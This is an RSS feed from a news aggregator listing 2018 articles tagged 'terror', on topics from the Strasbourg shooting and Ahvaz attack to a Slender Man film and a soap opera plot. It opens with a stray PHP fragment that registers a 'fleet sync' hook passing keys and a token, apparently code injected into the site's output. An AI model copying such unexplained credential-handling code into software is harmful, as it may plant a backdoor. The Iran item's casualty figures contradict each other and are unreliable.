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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); terror – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 11 Dec 2018 22:39:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png terror – Brief News https://briefnews.eu 32 32 Inevitable threat? Strasbourg gunman was on terror watch list, had grenades at home https://briefnews.eu/inevitable-threat-strasbourg-gunman-was-on-terror-watch-list-had-grenades-at-home/ https://briefnews.eu/inevitable-threat-strasbourg-gunman-was-on-terror-watch-list-had-grenades-at-home/#respond Tue, 11 Dec 2018 22:39:22 +0000 http://briefnews.eu/inevitable-threat-strasbourg-gunman-was-on-terror-watch-list-had-grenades-at-home/

The gunman who shot multiple victims in Strasbourg had previously been convicted and was known to French intelligence as a possible ‘security risk,’ yet managed to slip through the cracks despite tightened security across France.

“The author of these acts, listed as a security threat, had been sought by police,” the regional prefecture said in a statement, identifying the perpetrator as being on its notorious ‘Fiche S’. Yet he has reportedly managed to escape arrest earlier in the day, before carrying out the attack near the Christmas market at around 8 pm on Tuesday evening.




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The Strasbourg tragedy comes amid a major security presence across France, which has been gripped by the Yellow Vest protests over the last six weeks. The sheer volume of work handled by the security services during the holiday season could have allowed the shooter to slip through the security cracks, Philip Ingram, a former senior military intelligence officer, told RT.

“If we’re going to protect the freedoms that we enjoy as part of society there’s almost an inevitability of a level of terrorism that is going to come in there,” Ingram said. “The security forces have to be right 100 percent of the time and, remember, in France at the moment they are distracted with the Yellow Vest protests that are going on.”

“There has been a lot of unrest in France over the last few weeks, so it would be early to call it a terrorist incident,” Ingram noted, as the French counter-terrorism prosecutor has opened an investigation into the incident.

As the manhunt continues, much of the city center remains on lockdown with authorities urging people to stay at home amid the developing “serious public security incident.” The European Parliament building is also sealed off with no one allowed to enter or exit the premises.

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]]> https://briefnews.eu/inevitable-threat-strasbourg-gunman-was-on-terror-watch-list-had-grenades-at-home/feed/ 0 Belgium: Terror following knife attack in Brussels – is it safe to travel? https://briefnews.eu/belgium-terror-following-knife-attack-in-brussels-is-it-safe-to-travel/ https://briefnews.eu/belgium-terror-following-knife-attack-in-brussels-is-it-safe-to-travel/#respond Tue, 20 Nov 2018 10:27:27 +0000 http://briefnews.eu/belgium-terror-following-knife-attack-in-brussels-is-it-safe-to-travel/

Belgium’s capital city Brussels is on lockdown after a man stabbed a police officer early this morning. This is the latest travel advice. 

The official was stabbed in the neck by a knife-wielding attacker who reportedly yelled “Allahu Akbar” before launching the attack.

The incident took place in front of a city centre police station near the Grand Place, a world-renowned tourist attraction in Belgium.

The police officer was stabbed around 5.30am local time this morning.

Ilse Van De Keere, a police spokesman, said the suspect was shot and wounded by another officer.

She said there is no current confirmation of the attack being a terror incident and investigations are ongoing. 

Police would not confirm witness reports the suspect said “Allahu Akbar” when he attacked.

Terrorists are “very likely” to try to carry out attacks in Belgium, said the UK Foreign and Commonwealth Office.

They warn: “Attacks could happen anywhere, including on public transport and transport hubs and in other places visited by foreigners.

“You should be vigilant in public places and follow the advice of local Belgian authorities.”

There have tragically been a number of high profile terrorist attacks across Belgium in recent years.

In May this year, two police officers and a passer-by were killed in a shooting in the city of Liège in a suspected terrorist incident.

In 2017, a man attacked two soldiers with a knife in Brussels in August, and in June Belgian security forces helped prevent a suspected terrorist attack at Brussels central station.

The FCO encourage Britons to be “vigilant at all times,” for their own safety.

The website details advice to tourists heading abroad who are concerned.

They advise looking out for “anything suspicious and if you see anything report it to the local police immediately – many terrorist attacks are foiled by the vigilance of the public.”

The FCO also suggest being “vigilant in public areas and places that attract foreigners and westerners – eg hotels, restaurants, bars and crowded places like markets, malls or sports events. Always be aware of your surroundings.”

It’s also important to be vigilant at the airport. “In airports, minimise the time spent in the public area, which is generally less well protected,” said the FCO.

“Move quickly from the check-in counter to the secured areas. Upon arrival, leave the airport as soon as possible.”

The most dangerous countries in the world have recently been revealed.

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]]> https://briefnews.eu/belgium-terror-following-knife-attack-in-brussels-is-it-safe-to-travel/feed/ 0 Trump is reportedly getting ready to put Venezuela on the state sponsors of terror list https://briefnews.eu/trump-is-reportedly-getting-ready-to-put-venezuela-on-the-state-sponsors-of-terror-list/ https://briefnews.eu/trump-is-reportedly-getting-ready-to-put-venezuela-on-the-state-sponsors-of-terror-list/#respond Tue, 20 Nov 2018 10:00:10 +0000 http://briefnews.eu/trump-is-reportedly-getting-ready-to-put-venezuela-on-the-state-sponsors-of-terror-list/ Venezuela Nicolas Maduro Vladimir Padrino military army paradeREUTERS/Marco Bello

  • The Trump administration is reportedly considering naming Venezuela a state sponsor of terror.
  • The designation would put Venezuela alongside countries like Iran and North Korea.
  • But applying the label may hinder efforts to help Venezuelans, millions of whom have fled their country.

The Trump administration is reportedly preparing to escalate its campaign to isolate and pressure the regime of Nicolas Maduro in Venezuela by adding the government to the US’s state sponsors of terror list, according to The Washington Post.

Countries on the list have been found by the US secretary of state “to have repeatedly provided support for acts of international terrorism.”

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]]> https://briefnews.eu/trump-is-reportedly-getting-ready-to-put-venezuela-on-the-state-sponsors-of-terror-list/feed/ 0 Terror warning: The most dangerous countries in the world MAPPED https://briefnews.eu/terror-warning-the-most-dangerous-countries-in-the-world-mapped/ https://briefnews.eu/terror-warning-the-most-dangerous-countries-in-the-world-mapped/#respond Thu, 15 Nov 2018 07:26:29 +0000 http://briefnews.eu/terror-warning-the-most-dangerous-countries-in-the-world-mapped/

The most dangerous countries in the world have been mapped in a new study which looked at the safety of every country on the planet.

A travel risk map for 2019 has highlighted where in the world there is the greatest security risk.

Countries in central and northern Africa and the Middle East were revealed as the most dangerous with the highest risk of terror.

The research was carried out by International SOS and Control Risks, two of the world’s leading risk specialists.

Travel security risk ratings were based on the current threat posed to travellers by political violence (including terrorism, insurgency, politically motivated unrest and war), social unrest (including sectarian, communal and ethnic violence) as well as violent and petty crime.

Other factors, such as the robustness of the transport infrastructure, the state of industrial relations, the effectiveness of the security and emergency services and the country’s susceptibility to natural disasters are also considered where they are of sufficient magnitude to impact the overall risk environment for travellers.

Numerous countries in Africa were revealed to have an extreme travel risk.

This applied to Mali, Libya, Central African Republic, South Sudan, the Democratic Republic of the Congo and Somalia.

According to the research, in these countries “government control and law and order may be minimal or non-existent across large areas.”

Further definitions include: “Serious threat of violent attacks by armed groups targeting travellers and international assignees.

“Government and transport services are barely functional. Large parts of the country are inaccessible to foreigners.”

According to the UK Foreign and Commonwealth Office (FCO) advise against all travel to the vast majority of Mali and advise against all but essential travel to the south of the country. Terrorists are “very likely” to carry out attacks in Mali.

The FCO also advise against all travel to Libya, Somalia and the Central African Republic where terrorists are also “very likely” to carry out attacks.

South Sudan travel is also advised against but when it comes to terror attacks “they can’t be ruled out,” said the FCO.

As for the Democratic Republic of the Congo, the FCO advises against all travel to certain areas in the east of the country and within 50km of the border with the Central African Republic and South Sudan. Again, terror attacks “can’t be ruled out.”

This high-risk category was also applied to Yemen, Syria, Iraq and Afghanistan in the Middle East we well as eastern Ukraine.

The FCO advises against all travel to Yemen and Syria and terrorist attacks are classed as “very likely.”

As for Iraq, the FCO advises against all travel to the majority of the north while they advise against all but essential travel to the south. Terror attacks are “very likely.”

Regarding Afghanistan, the FCO advises against all travel to the majority of the country, although there are a few central provinces where they advise against all but essential travel. Terror attacks are also “very likely.”

Lastly, the FCO advise against all travel to Donetsk oblast, Luhansk oblast and Crimea in Ukraine. The rest of the country has no travel warnings. Terrorists are “likely” to carry out attacks in Ukraine.

The safest countries to hide in the event of a World War 3 crisis have also recently been revealed. 

Most Dangerous Countries in the World

Mali

Libya

Central African Republic

South Sudan

The Democratic Republic of the Congo

Somalia

Yemen

Syria

Iraq

Afghanistan

Ukraine

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]]> https://briefnews.eu/terror-warning-the-most-dangerous-countries-in-the-world-mapped/feed/ 0 Terror in the Woods true story: Is Lifetime's Slender Man movie based on a true story? https://briefnews.eu/terror-in-the-woods-true-story-is-lifetimes-slender-man-movie-based-on-a-true-story/ https://briefnews.eu/terror-in-the-woods-true-story-is-lifetimes-slender-man-movie-based-on-a-true-story/#respond Mon, 15 Oct 2018 13:33:11 +0000 http://briefnews.eu/terror-in-the-woods-true-story-is-lifetimes-slender-man-movie-based-on-a-true-story/

Those in the UK may be unfamiliar with the American TV channel Lifetime.

Famous for its made for TV movies, Lifetime has a history of making sensational, sometimes melodramatic, films.

Their latest film adaptation is called Terror in the Woods.

The psychological horror movie is based on the story of the 2014 Slender Man attack.

How much of it is based on the truth?

The foundation of Terror in the Woods seems to be based on the true story of the Slender Man attack.

The movie sees two 12-year-old girls sacrifice their friend to the internet legend called Suzerain.

In real life, two pre-teen girls attempted to kill their friend as part of a blood sacrifice to the legendary creature Slender Man.

The girls thought if they did this, they would become “proxies” of the Slender Man.

The 2014 attack, which took place in Waukesha, Wisconsin, USA, was previously made into another major movie.

Slender Man had its debut in the summer of 2018 and was met with mostly negative reviews.

So Terror in the Woods may benefit from its straight to TV format, as well as from its fictionalisation of the story.

Christina Ricci, best known for her off-kilter characters like Wednesday Addams Katrina Van Tassel in Sleepy Hollow, produced the movie.

The premise of the movie follows Rachel (Ella West Jerrier) and Kaitlyn (Sophie Grace) who attempt to use their friend, Emily (Skylar Morgan Jones), for a blood sacrifice.

They do this with the intention of protecting their families after learning about a demon on the internet.

Emily survives the attack, causing an investigation to look into Rachel and Kaitlyn, and the internet’s effect on their mental health.

Despite Lifetime’s reputation for sometimes poorly-acted films, Terror in the Woods’ trailer is a spooky and intriguing 30 seconds.

The movie takes plenty of liberties from the true story, from changing the names of the girls to the name of the Internet demon.

After the disappointment that was the Slender Man movie, Terror in the Woods may prove a success.

Whether it will be available in the UK is still unclear.

Terror in the Woods is available on the Lifetime channel in America.

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]]> https://briefnews.eu/terror-in-the-woods-true-story-is-lifetimes-slender-man-movie-based-on-a-true-story/feed/ 0 WATCH: Tourists run in terror as a DINOSAUR attacks them – but is all as it seems? https://briefnews.eu/watch-tourists-run-in-terror-as-a-dinosaur-attacks-them-but-is-all-as-it-seems/ https://briefnews.eu/watch-tourists-run-in-terror-as-a-dinosaur-attacks-them-but-is-all-as-it-seems/#respond Sun, 30 Sep 2018 17:01:13 +0000 http://briefnews.eu/watch-tourists-run-in-terror-as-a-dinosaur-attacks-them-but-is-all-as-it-seems/

A funny video has emerged of tourists experiencing a terrifying encounter during a day out at a theme park in Japan.

However, the reason behind their intense panic is truly ridiculous, making the clip highly entertaining.

A “dinosaur” appears to leap out at groups of visitors, scaring them witless – but of course, if they stopped to think, they’d realise that dinosaurs no longer exist.

However, the fact that the beast is, in fact, a person dressed in a dinosaur suit doesn’t seem to register with the frightened tourists, making for very funny viewing.

The video shows the dinosaur emerging from the bushes and leaping out at two men in the first of many comical pranks.

It runs at them with such force that the pair fall to the floor as the ‘animal’ cavorts around them roaring, leaving them wriggling on the ground in a desperate attempt to get away.

Next, the dinosaur jumps out from the undergrowth at two girls – one of whom’s loyalty is instantly tested.

One girl makes a mad dash in the other direction to escape the ‘creature’ and abandons her friend.

The girl falls instantly to the floor in a seated position with her arms over her head and frantically kicks her legs – not a technique that would be much use in real danger. The dinosaur shows no mercy and jumps around roaring throughout.

Another scene shows the ‘beast’ posing still next to a tree as though inanimate.

When a couple tries to take a photo next to the presumed statue, the dinosaur comes alive and starts falling wildly and roaring.

The boyfriend instantly shows his true colours and run away in terror. The girl at first seems mystified by her boyfriend’s reaction.

But then she turns to the ‘creature’ – for a moment she doesn’t react to the roaring ‘animal,’ but then she too is struck by fear and runs away.

In the final scene, the dinosaur appears to crank the action up a notch as he ‘attacks’ two men.

One runs away but the other is pulled to the ground by the reptile and desperately tries to scramble away as the dinosaur tussles with him.

Unfortunately, the clip doesn’t show what came after these scenes of terror and whether the tourists realised their silliness.

Hilariously, the shoes of the person in the dinosaur suit can easily be seen but the clip clearly shows how illogical people can be when put in a state of panic.

Viewers found the video very funny and mocked the scared visitors.

“Whose snap decision is ‘f***, dinosaurs are definitely a real modern threat, let’s panic and run’?” wrote one commenter.

Others praised the enthusiasm of the theme park worker and dedication to his reptilian role. “I like how aggressive this guy is!” one person wrote.

This week another hilarious video went viral of the moment a seal slapped a kayaker in the face with an octopus. 

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]]> https://briefnews.eu/watch-tourists-run-in-terror-as-a-dinosaur-attacks-them-but-is-all-as-it-seems/feed/ 0 Iran blames ‘regional terror sponsors & their US masters’ after military parade attack https://briefnews.eu/iran-blames-regional-terror-sponsors-their-us-masters-after-military-parade-attack/ https://briefnews.eu/iran-blames-regional-terror-sponsors-their-us-masters-after-military-parade-attack/#respond Sat, 22 Sep 2018 11:33:56 +0000 http://briefnews.eu/iran-blames-regional-terror-sponsors-their-us-masters-after-military-parade-attack/

Following a deadly attack on a military parade in southern Iran, the country’s foreign minister said that regional sponsors of terrorism and their “US masters” are to be held accountable for such assaults.

Top Iranian diplomat Mohammad Javad Zarif vowed to respond “swiftly and decisively” after gunmen opened fire in Ahvaz on Saturday leading to multiple casualties. The minister claimed that the terrorists were sponsored and trained by “a foreign regime.”

Iran holds regional terror sponsors and their US masters accountable for such attacks.

The carnage has claimed the lives of up to 24 people, Iran’s state-run Irna news agency says, adding that over 50 people were killed.

According to the outlet, the assault has been carried out by the “Patriotic Arab Democratic Movement in Ahwaz” group. “These terrorists… were trained and organised by two … Gulf countries,” Brigadier General Abolfazl Shekarchi said.

READ MORE: WATCH moment Iranian Army parade is attacked by gunmen

On Saturday, Iran was holding parades in several cities, including the capital Tehran, commemorating the end of the eight-year Iran-Iraq conflict.

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]]> https://briefnews.eu/iran-blames-regional-terror-sponsors-their-us-masters-after-military-parade-attack/feed/ 0 A Chinese landlord was arrested on terror charges for renting out his home to ethnic minority Muslims https://briefnews.eu/a-chinese-landlord-was-arrested-on-terror-charges-for-renting-out-his-home-to-ethnic-minority-muslims/ https://briefnews.eu/a-chinese-landlord-was-arrested-on-terror-charges-for-renting-out-his-home-to-ethnic-minority-muslims/#respond Tue, 21 Aug 2018 04:04:05 +0000 http://briefnews.eu/a-chinese-landlord-was-arrested-on-terror-charges-for-renting-out-his-home-to-ethnic-minority-muslims/ china uighur uyghur security checkpoint policeEric Lafforgue/Art in All of Us/Corbis via Getty Images

  • A Chinese landlord was arrested on terror charges for renting out his home to ethnic minority Uighurs. 
  • The landlord was arrested under the country’s counter-terrorism law, which took effect in early 2016.
  • And while the law makes no mention of prohibitions against renting property to Uighurs, the minority group is often racially profiled, and is subjected to some of the strictest surveillance measures in the world. 

A Chinese landlord was arrested on terror charges for renting out his home to ethnic Uighurs, as the government continues to expand its surveillance of members of the minority group.

Police in central China’s Henan province arrested a Han Chinese man who had privately rented out his home in Zhenping county to three Uighur bread-sellers, according to a notice released by the Zhenping county police obtained by Radio Free Asia. 

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]]> https://briefnews.eu/a-chinese-landlord-was-arrested-on-terror-charges-for-renting-out-his-home-to-ethnic-minority-muslims/feed/ 0 The Outrageous French Aristocrats Who Mocked the Reign of Terror https://briefnews.eu/the-outrageous-french-aristocrats-who-mocked-the-reign-of-terror/ https://briefnews.eu/the-outrageous-french-aristocrats-who-mocked-the-reign-of-terror/#respond Tue, 14 Aug 2018 12:59:10 +0000 http://briefnews.eu/the-outrageous-french-aristocrats-who-mocked-the-reign-of-terror/ As with most Parisian high-society gatherings, the Bal des Victimes had a tough door policy. But unlike today, when exclusive party lists are made up of fashion glitterati and movie stars, the guests at this event all had just one thing in common: One of their relatives had been guillotined during the Reign of Terror.

But this party was far from a somber funeral procession. It was an orgiastic evening of aristocratic irreverence. Attendees wore bizarre black costumes, intentionally gauzy and threadbare to mock the severity of the French Revolution. Men sheared the backs of their heads, and women tied their hair up, baring their necks in the way that executioners prepared the condemned for the guillotine. Most ballgoers tied red ribbons or shawls around their necks, cheekily signifying the spout of blood produced by the guillotine’s slicing blade. These young aristocrats were rowdy and outlandish, a gang of pro-establishment punks — they were les Incroyables et Merveilleuses.

Also known as les Muscadins for the expensive, musky perfume they wore in rebellion against the revolutionary rebuke of decadence, the “incredible and marvelous ones” first appeared around 1794. These aristocrats had been itching to come out of hiding and party since the beginning of the Reign of Terror in 1792, during which the First Republic government under the leadership of Maximilien Robespierre lopped off the heads of 40,000 people, most of them from the highest echelons of French society.

Cafe des incroyables

When Robespierre himself was guillotined on July 28, 1794, thus ending the terror, surviving aristocrats wasted no time getting decadent. Ornate carriages rolled through the streets of Paris the day after the revolutionary leader’s execution.

And these initial parades of wealth were only the beginning. All forms of entertainment once again thrived in the French capital, with theaters and music halls putting on performances that mocked revolutionary austerity. One popular song of the day rejoiced: “[our] tormentors finally grow pale at the tardy dawn of vengeance.”

What les Incroyables et Merveilleuses were really known for was an outlandish style of dress.

Thrilled to be out of hiding, les Incroyables et Merveilleuses hit the streets of Paris in full aristocratic regalia. They could be found strolling through the Tuileries garden and the Bois du Boulogne and along all of the city’s famous boulevards.

But what les Incroyables et Merveilleuses were really known for was an outlandish style of dress. When they weren’t wearing carnivalesque morning attire at the numerous Bal des Victimes held throughout France post-revolution, they scandalized older generations with outfits that rivaled some of today’s most bizarre haute couture runway looks. During the revolution, opulent dress was punishable by death — wearing royalist green and blue, the fleur-de-lis or mourning attire was strictly forbidden. By the time Robespierre’s head rolled, les Incroyables et Merveilleuses were ready to thumb their nose at his policies through fashion.

“Merveilleuses women abandoned the corset in favor of dresses that imitated Grecian statues,” says Richard Le Menn, author of Les Petits-Maîtres de la Mode. “They dressed in shawls and transparent dresses with necklines that would often expose the entirety of their breasts.” To make their frocks cling even more to their bodies, Merveilleuses would sometimes dampen the fabric.

Because blond wigs were banned during the revolution, platinum wigs became popular among les Merveilleuses. They also took to wearing wigs in royalist green and blue and, to symbolize the banned mourning attire, even black.

1793 1778 contrast left

As for jewelry, these ladies were dripping with it, down to the golden circlets around their ankles. Footwear was only slightly more modest, with sandals all the rage. Still, these weren’t run-of-the-mill flip-flops. Les Merveilleuses preferred ribbon lace-ups adorned with strings of precious gems. Particularly rebellious ladies went barefoot, a deliberate reference to the shoeless march of the condemned to the guillotine.

While menswear today is often more subdued than women’s fashion, the “incredible” men were arguably even more flamboyant than their female counterparts. While Merveilleuses fashion flaunted body shape, Incroyable styles used clothing to distort it. The men tied cravats up to their chins, swaddled their throats in layers of cloth that resembled goiters and wore collars ascending past their ears. All of these elements created the illusion that Incroyables were neckless, chinless monsters. Jackets were tight and tailored in front, with bizarre pleats in back designed to make the men look hunchbacked. Shoes were pointed and heelless, fabrics striped and polka-dotted and tailcoats intentionally wrinkled and mud-spattered.

1802 les modernes incroyables

But les Incroyables et Merveilleuses’ rebellion didn’t stop with fashion — they were also known for their slang and manner of speaking. To further protest the revolution, they often omitted the letter “r” from their diction, making them sound as though they had a speech impediment. While the rest of France knew them as Incroyables they referred to themselves as “Incoy’ables.”

By the time Napoleon rose to power in 1799, les Incroyables et Merveilleuses had all but disappeared. The giddiness of revolutionary survivors had fizzled out, and Napoleon was far stricter with rebellious youth and outré dress. It wasn’t until nearly two centuries later that their peculiar and short-lived fashion re-emerged, thanks to none other than John Galliano. In 1984, the young designer released a collection named after them, which went on to inspire the New Romantic look popularized by artists like Adam and the Ants and Boy George. It seems what links all youth subcultures throughout time is the use of fashion as a form of societal rebellion.

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]]> https://briefnews.eu/the-outrageous-french-aristocrats-who-mocked-the-reign-of-terror/feed/ 0 Emmerdale spoilers: Rebecca White dead in Lachlan White terror but there's a HUGE twist? https://briefnews.eu/emmerdale-spoilers-rebecca-white-dead-in-lachlan-white-terror-but-theres-a-huge-twist/ https://briefnews.eu/emmerdale-spoilers-rebecca-white-dead-in-lachlan-white-terror-but-theres-a-huge-twist/#respond Fri, 10 Aug 2018 10:57:15 +0000 http://briefnews.eu/emmerdale-spoilers-rebecca-white-dead-in-lachlan-white-terror-but-theres-a-huge-twist/

Emmerdale viewers have been waiting for the moment Rebecca (played by Emily Head) would finally escape from the shack where her nephew Lachlan (Thomas Atkinson) was keeping her hostage.

And in high-octane scenes during last night’s thrilling double bill of the ITV soap finally saw Rebecca slide out of her chains and smash last remaining family member over the head with a frying pan.

A chase ensued through the forest and just as it seemed Rebecca managed to get free of the evil killer he managed to catch up with her just in time.

Both were injured and Rebecca even managed to pull a sly one over Lachlan by pretending her memory loss had come back.

But it wasn’t enough, and as the pair heard a noise Rebecca revealed the truth and she tried desperately to escape.

Following a poignant conversation between the family members, which saw Rebecca try one last ditch attempt to beg for her freedom, Lachlan declared it was too late and there could be “only one way”.

As the episode closed, Lachlan appeared to smother Rebecca to death but could there be a way out for the character?

Viewers will remember Zak Dingle (Steve Halliwell) was just outside the hut and had heard a noise, did he already secretly know it was Lachlan and was forming a secret plan to break in?

If he’d spotted Rebecca running through the forest earlier, he could be gearing up to not only expose Lachlan but save Rebecca from certain death as well.

As it became clear Rebecca had lied about her confusion, a heartbroken Lachlan said: “I should have known, but I believed you.

How could you mention mum and grandad like that? You used them!”

“I wasn’t,” Rebecca insisted,” Please let me go I won’t say anything.

“I just want to take Seb and go.”

Angry, Lachlan reminded his hostage he’d promised her she could go, but sadly things changed when he went away to see his girlfriend Belle Dingle (Eden Taylor-Draper) in Wales.

I know you’re worried about what might happen but we can find a way through,” Rebecca begged again, trying to get through to the psychotic murderer.

She continued: “Lachlan listen to me, just let me go and take Seb long enough to get a plane ticket.”

But Lachlan had clearly already made up his mind, as he started holding her close to him.

“I don’t wanna be here anymore,” Rebecca cried, as Lachlan replied: “You won’t be for much longer.”

Holding a cloth over her mouth, viewers watched as the teenager attempted to suffocate the mother-of-one, but will she survive at the last second when someone bursts through the shack?

Emmerdale continues tomorrow at 7pm on ITV.

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